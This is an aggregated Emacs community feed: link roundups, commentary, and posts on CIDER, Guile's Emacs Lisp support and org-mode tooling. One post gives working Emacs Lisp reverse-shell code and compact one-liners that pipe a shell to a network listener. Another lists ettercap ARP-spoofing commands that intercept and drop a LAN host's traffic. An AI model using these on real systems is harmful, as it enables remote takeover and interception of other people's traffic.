  • Tory Anderson: Emacs in Emacs: A triumph for EXWM
• Community:
  • Weekly tips/trick/etc/ thread
  • Why I Chose Emacs as My New Text Editor // Take on Rules (Reddit)
  • Emacs was mentioned inside my lexicography textbook (Reddit)
  • What builtins do you use above popular external packages?
  • What does emacs do that makes it irreplaceable for you?
  • org-contacts2vcard: Converting Emacs Org-mode org-contacts contact information to VCard format suitable for importing to Android 4.4
  • Highlight: Why Emacs? (24:39)
• Other:
  • Dungeon-mode – Free Software Directory (Reddit)
  • Real time collaborative editing in Emacs
  • wandersoncferreira/oblique-strategies (Reddit)
  • Hardcore spell checking in Emacs (Reddit)
  • emacsninja: Worst Reverse Shell Ever
  • Accord: Interact with Discord via Emacs
  • Tory Anderson: How to send an interrupt without C-c C-c?
  • The Different Shells Available In Emacs (17:20, Irreal)
• New packages:
  • greenbar: Mark comint output with “greenbar” background
  • etherpad: Interface to the Etherpad API
  • kana: Learn Japanese hiragana and katakana
  • maxima: Major modes for writing Maxima code
  • nntwitter: Gnus Backend For Twitter
  • ob-deno: Babel Functions for Javascript/TypeScript with Deno
  • ocamlformat: Utility functions to format ocaml code
  • ox-ssh: SSH Config Backend for Org Export Engine
  • teletext-yle: Teletext provider for Finnish national network YLE

Links from reddit.com/r/emacs, r/orgmode, r/spacemacs, r/planetemacs, Hacker News, planet.emacslife.com, YouTube, the Emacs NEWS file and emacs-devel.

Correl Roush has a very nice post that beautifully illustrates the idea of writing code to write code. It’s a tremendously powerful idea because it lets you leverage some other program or programming language to do a task that requires specialized knowledge to code or is otherwise too hard to do directly. Examples that I’ve used are writing code to generate troff source as an intermediate to producing typeset output and code to generate graphviz source as an intermediate to generating a graph.

Roush gives us a nice example of generating graphviz (dot) source code to produce a nice looking graph. The particular problem she’s addressing is building a tool that you can point at a git repository and have it produce a nice graph of the commits. That seems unreasonably hard if you approach the problem ab initio but is very tractable if you leverage git and graphviz to do the hard work. Git can produce a topologically sorted list of commits and graphviz can do all the drawing of the graphs. All Roush has to do is add some glue code.

Roush decided to work in elisp and builds up her application step by step. She starts by showing the dot input she wants to produce and then writes the code to produce it. By iterating through more complicated graphs until she gets the final result, she shows to build the application iteratively, a programming method that I especially like.

I also like the way Roush uses data abstraction. Her list-based implementation may or may not scale to huge git repositories but her use of data abstraction makes it almost trivial to move to a more efficient implementation if required.

One of the things that’s harder than it should be in Emacs is embedded shells. You can type Meta+x shell and sort of have a shell. Except it doesn’t work very well. There are other options but it can be really confusing for the n00b or even a semi-experienced user not familiar with invoking shells from Emacs.

Derek Taylor has a video that explains and compares Emacs shells. He—rightly in my opinion—rejects the shell and ansi-term command as basically unusable for non-trivial commands. Until fairly recently there wasn’t a good solution if you wanted a traditional shell.

As Taylor says, that has recently been remedied by the introduction of vterm. It requires the relatively new module system but solves most of the problems for those who want to have a “normal” Unix shell. It solves all the problems with shell and ansi-term and lets you run a full-function shell from within Emacs.

But that’s not all, of course. There’s also eshell. It’s both less and more than a Unix shell. Some things don’t work as well but eshell has capabilities well beyond those of traditional shells. Taylor demonstrates some—but not all—of those capabilities. There are others that he doesn’t demonstrate.

The video is 17 minutes, 20 seconds long—a bit shorter if you skip the shoutouts at the end—so you’ll have to schedule some time. If you’ve been confused by Emacs shells, take a look at Taylor’s video. It’s a good summary.

(To skip my rambline intro and get to the nitty gritties, search this page for, "After that long introduction")

In college, back when the internet was young, I hated the clumsy ineffective internet filtering that was in place on campus. It often blocked sites that were perfectly fine, and did not catch all the sites of the type that they were trying to block. Fast forward 10 years or so and I saw my children stumbling upon some content that I didn't want them to see on my unfiltered home internet and my attitude changed a bit. Back then web filtering was pretty easy. Nothing was encrypted and DansGuardian was the go-to tool. You set up a transparent web proxy and DansGuardian would scan the entire content of every website that you downloaded in your home. Incriminating words and phrases would trigger its blocking and it would replace the website you were downloading with an explanatory message. The beauty was that there was no need to scour the web, categorize every website in the world, and maintain lists. It still had its false positives and if a website hand objectionable images but otherwise benign text there was nothing it could do, but it took the edge off the raw internet.

Today, it's not so easy. The HTTPS Everywhere campaign bothered me at first. It felt unnecessary, and it most definitely broke my DansGuardian filtering. I have since come to understand the importance and necessity of HTTPS and I'm very glad that Let's Encrypt has made it easy for all of us to use it. But I do still have kids.

DNS filtering came to the rescue, first with OpenDNS, and now I use CleanBrowsing. It's pretty good, but sometimes I want more control. One night our school had a parent-night presentation about internet safety for kids and they had invited some vendors to pitch their wares. One of them was RouterLimits. They had a small box that you simply connected to your network and it would filter internet traffic based on categories or individual sites you listed. No software or configuration of other hosts or your router required. It could also enforce time windows with no internet. "How is this possible when this box is just another client on the LAN?" I pressed their salesman. It was a small company and I think he was also an engineer because he realized I was one, and he slyly said to me, "ARP spoofing."

sudo ettercap -Tq

sudo env EC_UID=1000 ettercap -Tqk lan-hosts

sudo ettercap -Tq -M arp:remote /192.168.1.1// /192.168.1.193//

drop();

etterfilter drop-all.ecf -o drop-all.ef

sudo ettercap -Tq --filter drop-all.ef -M arp:remote /192.168.1.1// /192.168.1.193//

sudo ettercap -Tz -j lan-hosts --filter drop-all.ef -M arp:remote /192.168.1.1// /192.168.1.193\;192.168.1.221//

As a Clojure developer one of the most important packages in my everyday Emacs usage is CIDER. There are many things to love about it, chief among them the great interactive code evaluation and a sweet integration with popular Clojure tools. I still haven’t played with its debugging facilities, but yes, I know I should.

However, there is something that has been bothering me for quite a while: REPL switching and buffer loading. I cannot pinpoint the exact moment when these seemingly simple operations have become so unreliable, but I still remember when switching to the correct REPL buffer according to the file in front of me used to work as expected and loading a buffer didn’t require dealing with sessions first.

Let me give you more details before this writing starts to look like a random rant. My projects are usually web applications, which means I have to write both Clojure and ClojureScript. The Clojure side can be backed by leiningen or a deps.edn file, and we are set on shadow-cljs for ClojureScript. The first thing I normally do is jack-in with C-c C-x j j and then bring up the dedicated ClojureScript REPL with C-c C-x j s. Opening the browser and navigate to something along the lines of localhost:3000 finalises the process of setting up the ClojureScript REPL. That’s it, another good day of coding can begin. And soon enough frustration follows.

I tend to move from Clojure to ClojureScript files and vice versa quite a lot, and hitting C-c C-z frequently results in an unpredictable behaviour. Sometimes the REPL of the expected type pops up, sometimes the other one appears, sometimes I get a message about a missing REPL in the current session. Manually linking the current buffer to the correct REPL with C-c C-s b seems to fix the problem, but it’s only a matter of time. It takes a couple of buffer switching operations to bring the issue back. It is as if the link between the buffer and the REPL has vanished. Even worse, without that link I can forget about C-c C-k to load the buffer.

To overcome my frustration, I sat back and looked at how exactly I interact with CIDER:

• I only deal with one project at a time
• I need at most two running REPLs
• I don’t really care about firing up dedicated REPLs for other projects. If I change project, I simply close every buffer of the current one and start afresh

This made me realise that the whole CIDER session management is too much for my basic needs.

(defun mu--cider-repl-regex (type)
  "Return the regexp to get the CIDER REPL based on TYPE."
  (if (eq type 'clj)
      "\`*cider-repl .*clj[*]"
    "\`*cider-repl .*cljs"))

(defun mu--cider-repl-buffer-name (type)
  "Get buffer from `buffer-list' according to TYPE."
  (let ((regex (mu--cider-repl-regex type)))
    (car (seq-filter (lambda (s) (string-match-p regex s))
                     (mapcar #'buffer-name (buffer-list))))))

(defun mu-cider-switch-to-repl (&optional type)
  "Open a CIDER REPL for TYPE.
If TYPE is not passed, open a Clojure REPL."
  (interactive "P")
  (let ((type (or type 'clj)))
    (if-let (buffer (mu--cider-repl-buffer-name type))
        (pop-to-buffer buffer)
      (message "No CIDER REPL available"))))

(defun mu-cider-switch-to-cljs-repl ()
  "Open a CIDER REPL for ClojureScript."
  (interactive)
  (mu-cider-switch-to-repl 'cljs))

Note that I changed the value of nrepl-repl-buffer-name-template to *cider-repl %j %r:%S*, so you may have to change mu--cider-repl-regex according to the value in your setup.

C-c C-z is bound to mu-cider-switch-to-repl in clojure-mode-map and clojurec-mode-map, and to mu-cider-switch-to-cljs-repl in clojurescript-mode-map. This of course means that in .cljc files I always get to a Clojure REPL, but that’s fine. The code in there has to be tested on both REPLs anyway, so it doesn’t matter which one comes up first.

Now, let’s fix C-c C-k as well.

(defun mu--cider-session-by-type (type)
  "Return the current CIDER session by TYPE."
  (let* ((regex (mu--cider-repl-regex type))
         (system (sesman--system))
         (sessions (sesman-current-sessions system '(buffer))))
    (car
     (seq-filter (lambda (s)
                   (string-match-p regex (buffer-name (cadr s))))
                 sessions))))

(defun mu-cider-load-buffer (&optional type)
  "Load the current buffer according to TYPE.
If TYPE is not passed, default to Clojure."
  (interactive "P")
  (let* ((system (sesman--system))
         (buf (current-buffer))
         (type (or type 'clj))
         (session (mu--cider-session-by-type type)))
    (sesman--clear-links)
    (sesman-link-session system session 'buffer buf)
    (cider-load-buffer buf)))
    
(defun mu-cider-load-cljc-buffer ()
  "Load the current ClojureC buffer."
  (interactive)
  (mu-cider-load-buffer 'clj)
  (mu-cider-load-buffer 'cljs))

(defun mu-cider-load-cljs-buffer ()
  "Load the current ClojureScript buffer."
  (interactive)
  (mu-cider-load-buffer 'cljs))

Just like for C-c C-z, C-c C-k is now bound to these commands according to the mode map. For the sake of completeness, I have also disabled both C-c C-k and C-c C-z in cider-mode-map in order to avoid any kind of overshadowing by CIDER.

Note that this approach works well with my intended CIDER usage. It may not be what you are looking for if you are experiencing the same problems with REPL switching and buffer loading. Still, I have been using these commands for a while now and I am happy with them. CIDER has become my trusted Clojure IDE again.

Update: Factual corrections to Robin Templeton’s work.

Update: Added an extra set of benchmarks for Guile 3 in a Debian Sid Docker container.

Disclaimer: I don’t use Guile. I hardly know it. There are other Scheme implementations I know far better. But since Guile Emacs is a hot topic with much hopes and unproven claims, I experiment with it every now and then. All “benchmark” results here are to be taken with caution, they’ve been created using Guile 2.2.6 and Emacs 26.3 on a Thinkpad X230t running Arch Linux.

With that out of the way, laurus from #emacs[1] reminded me that one of the reasons why Guile Emacs was possible in the first place is Guile’s language tower, with Emacs Lisp being one of the supported languages. But what does that mean? How complete is the Emacs Lisp support? What can it be used for? These and a few other questions are the topic of this blog post.

scheme@(guile-user)> (define foo 1)
scheme@(guile-user)> foo
$1 = 1
scheme@(guile-user)> ,L elisp
Happy hacking with Emacs Lisp!  To switch back, type `,L scheme'.
elisp@(guile-user)> (defvar bar 2)
$2 = bar
elisp@(guile-user)> bar
$3 = 2

(defun printf (fmt &rest args)
  (princ (apply 'format fmt args)))

(printf ";; elisp spec adherence test
(defvar passed 0)
(defvar failed 0)
(defun test-sym (pred sym)
  (if (funcall pred sym)
      (setq passed (1+ passed))
    (setq failed (1+ failed))))
(defun test-fun (sym) (test-sym 'fboundp sym))
(defun test-var (sym) (test-sym 'boundp sym))\n\n")

(mapatoms
 (lambda (atom)
   (when (fboundp atom)
     (printf "(test-fun '%S)\n" atom))
   (when (and (not (keywordp atom)) (boundp atom))
     (printf "(test-var '%S)\n" atom))))

(printf "\n")
(printf "(princ \"Passed: \")\n")
(printf "(princ passed)\n")
(printf "(terpri)\n")
(printf "\n")
(printf "(princ \"Failed: \")\n")
(printf "(princ failed)\n")
(printf "(terpri)\n")

[wasa@box ~]$ time emacs -Q --batch --script elisp-spec.el
Passed: 9567
Failed: 2
emacs -Q --batch --script elisp-spec.el  0.10s user 0.02s system 99% cpu 0.117 total
[wasa@box ~]$ time guile --language=elisp elisp-spec.el
Passed: 137
Failed: 9432
guile --language=elisp elisp-spec.el  77.62s user 0.27s system 103% cpu 1:15.04 total

root@d27668492764:/# time emacs -Q --batch --script elisp-spec.el
Passed: 9108
Failed: 2

real    0m0.104s
user    0m0.097s
sys     0m0.007s
root@d27668492764:/# time guile --language=elisp elisp-spec.el
Passed: 137
Failed: 8973

real    6m20.950s
user    10m32.294s
sys     0m7.846s

;; binding
let let*
;; functions
lambda apply funcall
;; evaluation
eval load eval-and-compile eval-when-compile
;; sequences
aref aset make-vector nth
;; sequencing
progn prog2 prog1
;; iteration
dolist while
;; control flow
if when unless cond
;; short-circuiting
or and not
;; explicit nonlocal exit
throw catch
;; exceptions
signal condition-case unwind-protect
;; input
read-from-minibuffer
;; output
prin1-to-string print princ send-string-to-terminal terpri
;; cxr
car cdr caar cadr cdar cddr
car-safe cdr-safe
nthcdr
;; associations
assoc assq
;; search
member memql memq
;; destructive list processing
nreverse setcar setcdr rplaca rplacd
;; other list processing
cons list make-list `
mapcar mapc
append concat
reverse
length
;; symbols
defconst defvar defun defmacro
get put
fset set setq setplist
symbol-function symbol-name symbol-plist symbol-value
intern make-symbol
fmakunbound makunbound
quote function
;; plist
plist-get plist-put
lax-plist-get lax-plist-put
plist-member
;; strings
string string-match substring
upcase downcase
;; predicates
zerop floatp stringp numberp integerp wholenump
boundp fboundp functionp symbolp
consp listp nlistp
atom null
;; math
1+ 1-
fceiling ffloor ftruncate fround float
abs
min max
;; comparators
> < >= <= /= =
eq eql equal
string-equal string=
;; numerical operators
+ - * %
;; misc
random

(fset '/ (@ (guile) /))
(fset 'read-string 'read-from-minibuffer)
(fset 'prin1 (@ (guile) write))
(defun print (object) (prin1 object) (terpri))

The title almost sounds like something you’d see headlining a parody but it turns out that a medievalist using Emacs is really what this post is about. Joseph R. Johnson is a medievalist at Georgetown who spends a great deal of his time transcribing medieval texts.

That’s harder than you might think—if that’s possible—because different scribes produced subtly different renditions and because they used a lot of abbreviations similar to present day contractions (like “don’t” for “do not”) but not as deterministic as today’s contractions. Johnson’s post has an example that shows how complex those abbreviations can be.

Because the abbreviations can be ambiguous, Johnson puts the letters that the diacritical marks represent in parentheses. An example is v(ost)re where the “ost” in parentheses is represented by a diacritical mark. The problem is that all those parentheses were hard on his hands and he was worried about RSI (he should try Lisp).

The point of this long story is that Johnson is an Emacs user who took the time to learn a little Elisp so that he could leverage its power to ease his transcribing. He implemented an Emacs minor mode that implements easy to type shortcuts that save him from having to type all those parentheses. The post shows several iterations of his efforts.

I love stories like this because it makes the important point that if you deal with text you should be using Emacs. As others have said, Emacs is not so much an editor as it is a framework for dealing with text. That may include editing but it also includes things like email, RSS, playing music, and who knows what. As most of you know, I think of Emacs as a lightweight Lisp Machine, which means, of course, that you can program it to do almost anything. Johnson’s use of Emacs to help his transcription of medieval texts is a case in point.

So, in https://lists.gnu.org/archive/html/emacs-devel/2020-10/msg00691.html there's a proposal for an optimization in emacs, adding empty-directory-p so that elisp users don't have to (null (directory-files dir-name nil 'nodots t))).

And it makes sense to have a faster way. The person that proposed this improvement proposed a solution too. And it was a good one!

Then, Eli proposed something else. Some alternative implementation that:

• Allows to solve the problem at hand, 
• Reuses existing code by adding a 'limit' to directory-files
• Easier to implement
• Makes the implementation more stratified. You can still create empty-dir-p by calling directory-files
• in case of passing that limit count to directory-files, we still get a list of files instead of a boolean. It's richer information, in case we need it.
  

After that, the conversation goes on by trying to figure out if the partial list of files will be useful at some point, or it's adding indeterminism and no value, and finding a balance on simplicity and usefulness. 

All in all, a very good end-to-end conversation about a feature, its implications and its implementations with its corner cases and usability. Every time I see these conversations happening I feel this joy... I love when they happen in my team.

PS: Needless to say, this is a "simple" feature compared to bigger and more complex discussions going on in emacs-devel (which are hard problems that have no perfect solutions). But it's a good case study and there's something to be learned there about approaches, discussions, and building together.

Thanks to everyone involved!

The first iteration of the Emacs User Survey is currently on track to open up Monday October 19th 2020.

A huge thanks to everyone who gave feedback and suggestions, and particularly u/yyoncho who had put together a great list of questions on r/emacs.

1Why

For the community to understand itself better.

2Where

https://emacssurvey.org

3When

The survey will be open from Monday October 19th to Monday November 30th.

4How

Two ways to submit the survey:

• online form
• filling out a template and emailing it back

5Who

Questions or comments can go to contact@emacssurvey.org

6What you can do to help

• fill it out!
• most importantly, share it with your Emacs friends!
  • blog about it
  • email your colleagues who also use Emacs
  • etc

About this series: A collection of short blog posts related to manipulating Org documents using Perl. This is the first article. See the whole series.

A bit of history. I started using org-mode in 2011. Emacs I had been using much earlier, but as also happened with many others, org-mode really clinched the deal. Slowly but sure, I migrated my notes, and later on, my todo list, into this format. Also in that year I started the Org::Parser project. It’s not perfect, and at one point educated_foo said it was pointless because just like only perl can parse Perl, only emacs’ org-mode can truly parse Org. However, I manage to do some useful tricks with the module. (BTW, I missed the guy.)

Being a heavily procrastinating and utterly lazy person, with lots of ideas and abandoned projects, my todo file grew to thousands of items (last count, 4600+ undone todo items and 1900+ done dones).

I currently organize my todo.org like the following: there are hierarchical categories which I write strictly as level-1 headings, with subcategories written inline in the heading using “cat > subcat > subsubcat” notation. I keep these level-1 headings sorted. Example:

* 00unorganized [0/0]
* finance [0/0]
* health [0/0]
* leisure > vacation [0/0]
* pet [0/0]
* person > kid 1 > education [0/0]
* person > kid 1 > health [0/0]
* person > kid 2 > health [0/0]
* person > kid 2 > health [0/0]
* person > kids > education [0/0]
* person > kids > health [0/0]
* person > mom > health [0/0]
* proj > blog > blog title 1 [0/0]
* proj > blog > blog title 2 [0/0]
* proj > book > working title 1 [0/0]
* proj > book > working title 2 [0/0]
* proj > perl [0/0]
* proj > perl > ansitable [0/0]
* proj > perl > debian [0/0]
* proj > perl > lcpan [0/0]
* proj > perl > perinci [0/0]
* proj > perl > wordlist [0/0]
* reading > books to read [0/0]
* watching > movies to watch [0/0]
* watching > tv series to watch [0/0]

Actual todo items are always written as level-2 headings under one of these level-1 categories. This way, I always know that todo items are at level-2, which makes some things easier to find and manipulate. For example:

* proj > perl > lcpan [0/0]
** IDEA [2020-10-04 Sun] lcpan: subcommand to star/favorite modules/dists/authors
** IDEA [2020-10-04 Sun] lcpan: subcommand to show whether our favorite modules/dists/authors have a release in the past week/month/etc
** WISHLIST [2020-10-04 Sun] lcpan: subcommand to retrieve number of ++ from metacpan
** IDEA [2020-02-24 Mon] lcpan: subcommand to check circular dependency
** TODO [2020-05-10 Sun] lcpan: replace Archive::Tar with Archive::Tar::Wrapper

If you’re wondering about the timestamps, my habit is to put a creation date at the beginning of each headline’s title. I myself feel it’s rather unclean and have tried to put “logs” inside the entries, but it’s nice being able to quickly see how old a todo item is, so I’ve kept the habit alive.

The actual “proj > perl” category itself is quite large (currently 3000+), as I put todo items for various smaller projects there and only create a subcategory for a few notable projects.

Over time, I collect hundreds of done todo items in various categories, including in this large “proj > perl” category. I want to remove the done items, but archive it in other file (done.org), under the same category headlines.

Emacs offers some archiving functions for this, and I’m sure with some elisp code it can be instructed to do the above, but with my very limited eslip-fu I shuddered at how much time I have to spend to produce such code. Thus, Org::Parser to the rescue. The result is move-done-todos. It’s not as concise as I like it to be, because the Org::Parser’s API still stinks and lacking when it comes to building node objects or doing some basic manipulation. But at least it works.

To use it:

% move-done-todos todo.org done.org

By default, the script operates in dry-run (simulation) mode, for safety. If you are sure with the results, you add the --no-dry-run option:

% move-done-todos todo.org done.org --no-dry-run

The nice thing about this script is that it can auto-create the categories in done.org, so moving is only a single command-line invocation process. I do strive to make everything in the world a single command-line invocation process.

If you want to remove the done todo items from your todo file, which you might prefer because the done todo items are already recorded in the revision history of your repository anyway, you can omit the done filename:

% move-done-todos todo.org --no-dry-run

There are things that I want the script to be able to do, but not yet, like updating the counter cookies. That, for now, is currently still noted as an undone item in my todo.org.

John Herrlin has a followup to his previous post about Org-mode code blocks. This one deals with controlling the output of a block’s execution. I usually think of the :results parameter as a way of choosing where the results from the code block should come from. That can be either the “value” of the block (in a lisp sense) or whatever the block outputs to stdout.

But it turns out that the :results parameter can do much more. In a sense, it also controls where the results go. For example, you can have it append the output of the block to previous outputs. Or you can arrange for the results to be wrapped in another code block. Herrlin gives examples of how to take advantage of these capabilities. See his post for the details.

It’s a nice post and definitely worth your time even if you’re already familiar with using Org code blocks.

Every now and then there’s someone asking about Emacs and security, especially when it comes to the question whether one can trust packages. Short answer: No. Long answer: This question cannot be answered without defining a threat model first, but honestly, who is going to bother backdooring an Emacs package?

Yet some lingering doubt remains. There are Emacs users after all who are high-profile enough to bother attacking. Suppose you wanted to write malware in Emacs Lisp, one obvious thing to try after gaining the ability of arbitrary code execution is a remote shell to comfortably execute commands on someone else’s computer. There are two flavors of them:

Bind shell:

The victim computer listens on LPORT and the attacker connects to LHOST:LPORT. Any user input from the attacker is sent to a local shell, output from that shell is returned to the attacker.

Reverse shell:

The victim computer establishes a connection to the attacker listening at RHOST:RPORT. Much like with the bind shell, user input from the attacker is interpreted by a local shell.

Reverse shells are more popular as they allow circumventing restrictive firewall rules. There are several cheatsheets for spawning them with a Bash/Python/Ruby/Perl/… oneliner, most of those rely on creating a socket, extracting its file descriptor and wiring it up to a shell process. Unfortunately Emacs doesn’t give you that information, so I’ve had to settle for a less elegant approach. Here’s my first attempt using shell-command-to-string to execute the received process output and process-send-string to send it back to the process[1]:

(let ((r (make-network-process :name "r"
                               :host "127.0.0.1"
                               :service 8080)))
  (set-process-filter r (lambda (p s)
                          (process-send-string p (shell-command-to-string s))))
  (read-char))

To test it, launch nc -nlvp 8080 (for GNU netcat) or nc -nlv 8080 (for BSD netcat), save the above to test.el and run emacs --script test.el. It works, but is sub-optimal for a few reasons:

• A new shell is spawned every time a batch of user input has been read. Due to this, changing the directory doesn’t appear to have any effect.
• The shell seems unresponsive when executing commands generating large output (for example find /) as shell-command-to-string collects everything before returning the entirety of it.
• If the chunk of user input received by the process filter doesn’t resemble a valid shell command (for example by being broken up at an inconvenient spot), it won’t be executed as expected and might raise an incomprehensible error.

To fix these issues a dedicated shell subprocess needs to be created. Output from the network process is sent to the shell subprocess and vice versa. This makes for slightly longer code:

(let ((r (make-network-process :name "r"
                               :host "127.0.0.1"
                               :service 8080))
      (c (start-process "s" nil "sh" "-i")))
  (set-process-filter r (lambda (_ s) (process-send-string c s)))
  (set-process-filter c (lambda (_ s) (process-send-string r s)))
  (read-char))

Voila, cd works as expected and the hangs for find / are gone as well. Time to optimize both for shell oneliners, for that I eliminate whitespace and carefully adjust the logic[2]:

emacs --batch --eval '(set-process-filter(make-network-process :name"r":host"127.0.0.1":service 8080)(lambda(p s)(process-send-string p (shell-command-to-string s))))' -f read-char
emacs --batch --eval '(progn(setq r(make-network-process :name"r":host"127.0.0.1":service 8080)c(start-process"s"nil"sh""-i"))(set-process-filter r(lambda(_ x)(process-send-string c x)))(set-process-filter c(lambda(_ x)(process-send-string r x))))' -f read-char

These clock in at 180 and 261 chars respectively. Not too shabby compared to the usual Python/Ruby/Perl oneliners (243/104/216 chars). Unlike them though I cannot upgrade the reverse shell to a fully interactive one. But who knows, maybe they’ll come in useful some day if I ever encounter a machine not having common programming languages installed, but Emacs for some reason…

• Emacs configuration:
  • What modern configs are a good as a base for your own setup?
  • Very impressed by emacs-ludicrous-speed (GNU/Linux)
  • Chemacs 2, now with early-init.el suport
  • dot-emacs – My Emacs configurations written in Org mode
  • {emacs-devel} Include leaf in Emacs distribution (Reddit)
  • borg-nix-shell: Build your Borg packages with Nix-Shell
  • wmacs : Rewrite of my Emacs configuration aimed at Windows operating system
• Emacs Lisp:
  • T. V. Raman: On Defining Keys In Emacs
  • T. V. Raman: Extracted A Light-Weight Key-Reader By Progressive Simplification
  • Elisp: Removing properties from a plist (Reddit)
• Emacs development:
  • Kludging The editor with The compiler – GCCEmacs at LPC 2020 GNU Tools Track – Presentaiton and round of the table – toobnix
  • Doom gccemacs on MacOS (Irreal)
  • Autoload shortdoc command and adjust NEWS
  • Add support for displaying short documentation for function groups
  • Only skip directories in lgrep, not the other grep commands
  • Improve documentation of ‘isearch-group-N’ faces
  • Add match-data to isearch state and repeat faces to highlight group matches
• Appearance:
  • Favorite Light Themes
  • minimal-theme: Minimal theme for Emacs 24
  • minimal-light-theme.el — A light/dark minimalistic Emacs 27 theme
  • tango-plus-theme: Color theme for Emacs loosely based on the tango palette
  • eclipse-theme: Eclipse theme for Emacs
  • Protesilaos Stavrou: Released Modus themes 0.13.0
  • Modus themes now play nice with moody, Thanks prot! (Reddit)
  • Base16 Theme Previews
• Navigation:
  • {ANN} spatial-navigate now available on melpa
• Org Mode:
  • AlBasmala: Blogging with Emacs & Org-mode (•̀ᴗ•́)و
  • Emacs Orgmode Source Code Blocks 2 | jherrlin (July 2020)
  • orgmode articles by König von Haunstetten
  • Andrea: Microsoft (Teams) notifications in your Org Agenda (through Emacs Slack)
  • Org-mode Transclusion/Block-reference Prototype (Reddit)
  • Rainer König just released a Udemy org-mode course; let’s show him some love! (Reddit)
  • LIVE: Emacs From Scratch #6 – Organize Your Life with Org Mode (10/9, 9:15am PDT) (Reddit)
• Coding:
  • arduino-mode: Emacs major mode for editing Arduino sketches.
  • Alvaro Ramirez: Emacs: create a Swift package/project
  • Using Emacs for Swift Development (Reddit)
  • css-in-js.el : a styled-components minor mode
  • How I set up my emacs for TypeScript
  • {ANN} New MELPA package: sharper, a wrapper for dotnet (C#/F#) built with transient
  • go-ttest.el: Helpers for editing table tests in Go
  • czscm.el — cheezy scheme interpreter for Emacs
• Mail and news:
  • more helm functions for mu4e
• Music:
  • eradio – The Internet Radio Player
  • emaccordion: Control Emacs with MIDI
  • Marcin Borkowski: Notifying the user about the start of the track in EMMS
• Community:
  • Weekly tips/trick/etc/ thread
  • An example of why bug reports and feature requests should be left open until fixed
  • Emacs might not be doomed after all
  • Proposal for an Emacs User Survey
  • LibrePlanet 2021 call for proposals open until Oct 28
• Other:
  • Making medieval manuscript transcription less painful with GNU Emacs (Reddit)
  • Emacs as RSS reader | Daniel’s programming rants
  • LDAP lookups from Emacs (2015)
  • Marcin Borkowski: Editing subtitles in Emacs with subed
  • Fanboying My Favorite Packages, What’re Yours?
  • Try: Try out Emacs packages (2017)
  • Protesilaos Stavrou: My simple note-taking system for Emacs (without Org)
  • Experimental patch for emacs to block privacy trackers in (email) webkit
  • A short intro to Deft Mode · Emacs Doomcasts 23 (Reddit)
  • tid-mode: tid-mode is an Emacs major mode for editing TiddlyWiki5 .tid files.
• New packages:
  • axe: AWS Extensions
  • block-nav: Jump across indentation levels for quick navigation
  • clj-decompiler: Clojure Java decompiler expansion
  • i3wm-config-mode: Better syntax highlighting for i3wm’s config file
  • impatient-showdown: Preview markdown buffer live over HTTP using showdown
  • jmt-mode: Java Mode Tamed
  • sharper: A dotnet CLI wrapper, using Transient
  • spatial-navigate: Directional navigation between white-space blocks
  • unicad: An elisp port of Mozilla Universal Charset Auto Detector
  • w32-ime: Windows IME UI/UX controler

Links from reddit.com/r/emacs, r/orgmode, r/spacemacs, r/planetemacs, Hacker News, planet.emacslife.com, YouTube, the Emacs NEWS file and emacs-devel.